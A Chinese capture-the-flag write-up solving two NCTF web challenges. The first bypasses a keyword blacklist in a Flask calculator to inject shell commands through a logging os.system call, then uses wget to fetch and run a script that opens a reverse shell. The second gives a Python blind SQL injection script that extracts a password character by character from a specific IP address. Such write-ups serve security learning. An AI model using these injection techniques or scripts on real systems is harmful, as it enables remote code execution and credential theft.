Skip to content

NCTF-WEB

calc

打开查看是计算器,查看发现是flask框架构造错误参数发现debug页面从而发现了关键代码

def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
 
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
------------------------------------------------------
def waf(s):Open an interactive python shell in this frame
    blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag

关键点就在于os.system(log)

所以根据流程就可以知道只要绕过waf检查并且eval不会报错就行。

所以可以构造一个命令执行。

因为waf过滤了;可以通过换行执行新的命令空格过滤了可以用tab替换%09 这样就可以构造了,只剩下了eval了只要eval不报错就可以执行到systen函数。

这里可以通过多行文本的办法没有过滤单引号可以通过''' '''进行构造,但是在linux下也是多行文本不过linux可以通过一个单引号结束掉多文本所以可以是'''%0a'%0axxxxxxxxxxxxx%0a'''

xxxx就是我们要执行的命令。最开始我是直接cp /* static/ 呃呃因为以前做过几个都是这样的flag文件名就是flag直接在static下面访问就行了,这次居然没反应呃呃。然后就利用其他办法通过wget下载一个脚本,wget xxxx.xx/shell.sh 然后chmod +x shell.sh ./shell.sh就可以直接反弹shell了

最后找flag时候发现flag在static下面一个叫v2的文件里呃呃呃呃b( ̄▽ ̄)d

ezbypass

提示是sql注入,提示查看password测试发现只有id=1一个用过联合查询发现了有waf然后就测试其他办法

通过盲注一位一位的爆破,

import requests

flag = ""
s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$&()*+-/^`{|}~"
for i in range(150):
    for j in s:
        url = f"http://121.37.11.207:8099/sql.php?id=1 and password like 0x{flag + hex(ord(j))[2:]}25"
        if "letian" in requests.get(url).text:
            flag +=hex(ord(j))[2:]
            print(flag)
            break
然后就得到flag了